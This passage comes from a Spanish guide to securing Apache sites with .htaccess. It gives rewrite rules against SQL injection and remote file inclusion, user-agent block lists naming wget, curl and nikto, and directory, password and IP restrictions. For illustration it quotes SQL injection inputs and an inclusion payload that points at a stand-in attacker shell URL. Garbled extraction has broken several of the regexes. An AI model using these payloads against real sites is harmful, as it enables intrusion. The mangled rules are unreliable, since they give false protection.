    que hay suficiente documentacin en la Red sobre ello.Como otros artculos de este site, no pretendo arrojar otro manual mas de htaccess a la

    Red, sino mas bien aportar algunas ideas que el lector debe ajustar a sus necesidades y

    estrategias.

    Activar .htaccess

    Para que htaccess sea funcional hay que especificar la directiva en nuestro host virtual:

    AllowOverride All

    Tambin puede ser que necesites un:

    Options +FollowSymLinks

    Activar mod_rewriteLa mayora de reglas usan mod_rewrite, ya que se basan en el filtrado del URL y no en

    tareas de acceso propiamente a archivos y direcctorios, por tanto debemos disponer de el

    http://www.jpereira.net/acerca-de-jpereirahttp://www.jpereira.net/acerca-de-jpereirahttp://twitter.com/home?status=http://www.jpereira.net/web/un-poco-de-seguridad-con-htaccesshttp://www.jpereira.net/acerca-de-jpereira
  • 7/21/2019 Gua de HTACCESS.docx

    25/31

    en nuestro servidor.

    Si usamos un hosting publico, habr que comprobar que esta soportado. Si administramos

    nuestro propio hosting basta con un:

    a2enmod rewrite

    Para familiarizarte en profundidad con mod_rewrite visita sudocumentacin oficial.

    Algunas reglas de seguridad para el htaccess interesantes:

    Inyecciones SQL

    Una de las pesadillas ms antiguas de las vulnerabilidades web son las inyecciones sql.

    Mediante la inyeccin de fragmentos de cdigo SQL en los valores de nuestras variables:

    mipass= OR ''='

    miuser=' AND 0 UNION SELECT 1 AND 'l'='

    A veces se pueden conseguir algunos resultados divertidos. El uso del siguiente conjuntode reglas nos ayudar a filtrar la mayora de estas situaciones:

    RewriteCond %{QUERY_STRING}

    (;||||\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|

    drop|update|md5|benchmark) [NC,OR]

    RewriteCond %{QUERY_STRING} \.\./\.\. [OR]

    RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]

    RewriteCond %{QUERY_STRING} \.[a-z0-9] [NC,OR]

    RewriteCond %{QUERY_STRING} (||%0A|%0D|%27|%3C|%3E|%00) [NC]

    RewriteRule .* - [F]

    Bloqueo de agentes y utilidades de lnea de comandos

    Algunas herramientas de bsqueda y explotacin de vulnerabilidades o los conocidos

    downloaders poseen agentes particulares y fciles de detectar como: wget, curl, java,

    HTTrack, perl, java, etc

    Si por ejemplo hacemos en nuestra terminal un:

    wget www.miweb.com/index.php

    Obtendremos un Peticin HTTP enviada, esperando respuesta... 403 Forbidden siempre y

    cuando tengamos este cdigo en nuestro .htacces:

    RewriteCond %{HTTP_USER_AGENT} $ [OR]

    http://httpd.apache.org/docs/1.3/mod/mod_rewrite.htmlhttp://httpd.apache.org/docs/1.3/mod/mod_rewrite.htmlhttp://httpd.apache.org/docs/1.3/mod/mod_rewrite.htmlhttp://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
  • 7/21/2019 Gua de HTACCESS.docx

    26/31

    RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]

    RewriteCond %{HTTP_USER_AGENT}

    (winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]

    RewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]

    RewriteCond %{HTTP_USER_AGENT} (||%0A|%0D|%27|%3C|%3E|%00) [NC]

    RewriteRule .* - [F]

    Inclusin de archivos remotos RFI) y compaa

    Mediante las tcnicas de XSS o RFI se incluye en nuestra web un script albergado en otra

    URL, normalemente una web anfitriona que ya fue atacada previamente, que va a servir

    para alterar el comportamiento de nuestra aplicacin y probablemente servir de puerta de

    entrada para algn backdoor o shell:

    miVariable=http://urlatacante.com/shell.php

    Las siguientes reglas nos van ayudar a minimizar este tipo de situaciones o la navegacinde directorios desde la url:

    RewriteCond %{REQUEST_METHOD} GET

    RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]

    RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]

    RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]

    RewriteRule .* - [F]

    Bloqueo de acceso a directorios:

    Quizs una de las reglas mas curiosas es simplemente evitar que el usuario pueda acceder

    directamente al rbol de directorios directamente desde la url:

    RewriteRule (cache|includes|logs|tmp)/ - [F]

    Gracias a esta sentencia obtendremos un Forbiden si hacemos un:

    http://www.miweb.com/cache

    Bloquear el acceso a determinados archivos

    Una tcnica un poco mas refinada que la anterior. Se basa en la posibilidad de restringir el

    acceso directo a ciertos archivos de nuestra web en funcin de su extensin: php, xml, tpl,

    etc

    RewriteCond %{REQUEST_FILENAME} -f

    RewriteCond %{REQUEST_URI} \.php|\.ini|\.xml [NC]

    RewriteCond %{REQUEST_URI} \/library\/ [OR]

  • 7/21/2019 Gua de HTACCESS.docx

    27/31

    RewriteCond %{REQUEST_URI} \/images\/ [OR]

    RewriteCond %{REQUEST_URI} \/cache\/

    RewriteRule (.*)$ index.php [R=404]

    As de esta forma si hacemos un:

    http://www.miweb.es/library/index.php

    http://www.miweb.es/cache/rss.xml

    Vamos obtener un 404 Not Found. Fjate que donde antes hacamos [F] de forbiden

    ahora con [R=404] arrojamos un 404 o cualquier otro error, una tcnica interesante para

    "despistar".

    Proteccin por contrasea de direcctorios

    Un clsico de la proteccin de directorios con .htaccess es la proteccin mediante

    contrasea. Esta tcnica es interesante para reforzar la autenciacin de paneles de controlo formularios de autenticacin.

    Para proteger con contrasea un directorio basta con crear un .htaccess en dicho

    directorio con el siguiente cdigo

    AuthName "Introduce Tus Datos:"

    AuthType Basic

    AuthUserFile /www/miweb/.htpasswd

    AuthGroupFile /dev/null

    Require valid-user

    En la directiva AuthUserFile deberemos colocar la ruta de nuestro archivo de passwords.

    Hay abundante documentacin sobre la creacin de los passwords de htpasswd. Por

    ejemplo desde una terminal podemos teclear:

    htpasswd -nb usuario contrasea

    Nos arrojar el contenido de nuesto archivo de passwords:

    usuario:ECiz4oJ8cryR6

    El archivo .htpasswd puede denominarse con cualquier otro nombre y debe colocarse

    fuera de cualquier ruta pblica, y de ser posible fuera del open_basedir del PHP.

    Tienes la documentacin sobre lacreacin de passwordspara htpasswd.

    Proteccin de directorios por IP

    El tema de la proteccin con contrasea esta bien, pero es engorroso tener que memorizar

    dichas contraseas. Si accedemos siempre a nuestras web desde la misma ubicacin,

    http://httpd.apache.org/docs/2.0/programs/htpasswd.htmlhttp://httpd.apache.org/docs/2.0/programs/htpasswd.htmlhttp://httpd.apache.org/docs/2.0/programs/htpasswd.htmlhttp://httpd.apache.org/docs/2.0/programs/htpasswd.html
  • 7/21/2019 Gua de HTACCESS.docx

    28/31

    quizs sea interesante una proteccin por IP o rango de IP.

    Para ello podemos usar por ejemplo:

    Deny from all

    Allow from 83.165.114.0

    Satisfy any

    Este ejemplo es vlido si tenemos una ip fija. Sin embargo si lo que nos interesa mas que

    proteger un directorio es ofuscarlo para sacarnos de encima un porcentaje amplio de

    fisgones, podemos autorizar el acceso para un determinado rango. Podemos ver que IPs

    publicas se nos asignan comnmente y abrir nuestro directorio para ese rango, por

    ejemplo:

    Deny from all

    Allow from 83.165

    Satisfy any

    De esta forma estamos dando acceso a todo el rango 83.165.xxx.xxx

    Esta tcnica se puede combinar con la anterior para evitar tener que introducir la

    contrasea desde ciertas conexiones:

    AuthName Tu panel

    AuthType Basic

    AuthUserFile /www/miweb/.htpasswd

    AuthGroupFile /dev/null

    Require valid-user

    Deny from allAllow from 192.168.0

    Satisfy any

    La directiva Satisfy anynos indica que tenemos que cumplir una de las dos condiciones,

    si ussemos Satisfy All debemos cumplir las dos condiciones.

    Otro uso bastante interesante de las directivas Allow o Deny es poder limitar el acceso de

    usuarios por pas.

    En paginas como estawww.ipaddresslocation.orgpodemos obtener el rango de IPs de un

    pas para permitirlo o denegarlo. Esta tcnica sencilla de implementar nos ahorra

    bastantes curiosos entre nuestros archivos, ya que la mayora de intrusos provienen delextranjero.

    Al final de esta web teneis un htacces para restringir el acceso slo a visitantes que se

    conecten desde Espaa.

    Manejo de errores

    http://httpd.apache.org/docs/current/mod/core.htmlhttp://httpd.apache.org/docs/current/mod/core.htmlhttp://httpd.apache.org/docs/current/mod/core.htmlhttp://www.ipaddresslocation.org/http://www.ipaddresslocation.org/http://www.ipaddresslocation.org/http://www.ipaddresslocation.org/http://httpd.apache.org/docs/current/mod/core.html
  • 7/21/2019 Gua de HTACCESS.docx

    29/31

    Administrar correctamente los errores generados por nuestra web es una til tcnica de

    ofuscar la estructura de nuestras web. De los errores que arroja una web se puede

    aprender mucho, si un directorio existe aunque este prohibido su acceso, si determinado

    mtodo esta o no habilitado, etc,... Ocultar, ofuscar, confundir, etc personalizando

    nuestros errores mas frecuentes es una divetida tcnica de seguridad.

    Por ejemplo con:

    ErrorDocument 404 http://www.misitio.com

    Redirigiremos al usuario a la pgina principal de nuestro dominio sin dar mas

    explicaciones. Sin embargo esta tcnica si la aplicamos en subdirectorios nos puede

    servir, sin embargo si la usamos en el root de nuestro sitio, acabar redireccionandose a si

    misma, generando un error en el explorador.

    Con esto:

    ErrorDocument 404 /errores/errorgenerico.php

    Redirigiremos al visitante a una pgina, indicando que ha habido un error pero sin decir

    cual. Es una forma elegante de solucionar la situacin.

    Si no queremos complicarnos tambin se puede solucionar as:

    ErrorDocument 404 Ups! Se ha producido un error

    ErrorDocument 403 Ups! Se ha producido un error

    ErrorDocument 400 Ups! Se ha producido un error

    ErrorDocument 406 Ups! Se ha producido un errorErrorDocument 412 Ups! Se ha producido un error

    ErrorDocument 416 Ups! Se ha producido un error

    ErrorDocument 501 Ups! Se ha producido un error

    ErrorDocument 401 Ups! Se ha producido un error

    ErrorDocument 500 Ups! Se ha producido un error

    Cuando se produce un error que no hemos controlado, tambin se volcar la firma del

    explorador: versin, mdulos, sistema operativo, etc,... esta informacin es igualmente

    til para conocer posibles vulnerabilidades del mismo. Dicha situacin se puede evitar con

    un simple:

    ServerSignature Off

    Restringir acceso a determinados archivos

  • 7/21/2019 Gua de HTACCESS.docx

    30/31

    A veces puede ser interesante denegar cualquier acceso a determinados ficheros. Las

    directivas Files y FilesMach permiten a travs de expresiones regulares controlar el acceso

    a determinados archivos o directorios. Por ejemplo:

    Order allow,deny

    Deny from all

    Satisfy all

    Bloquea cualquier acceso a un fichero que termine con la extensin .old

    De forma similar:

    Order allow,deny

    Deny from all

    Satisfy all

    Bloquear el acceso a cualquier fichero o directorio que empiece por una barra baja _

    Exploracin de directorios.

    Hoy en da la mayora de hostings ya lo traen correctamente configurado, pero la

    posibilidad de listar el contenido de nuestros directorios, no suele ser una buena opcin

    salvo que sea intencionada.

    La exploracin de directorios se puede evitar con un simple index.html o index.php pordirectorio, pero lo mas elegante es un:

    Options -Indexes

    Conclusiones

    Estas son algunas propuestas, que combinadas de forma oportuna pueden ayudarnos,

    quizs no, a blindar nuestra web, sino ms bien a borrar las mximas evidencias posibles

    que puedan dar indicios, a los usuarios ms curiosos, de posibles vulnerabilidades en

    nuestro sitio.

  • 7/21/2019 Gua de HTACCESS.docx

    31/31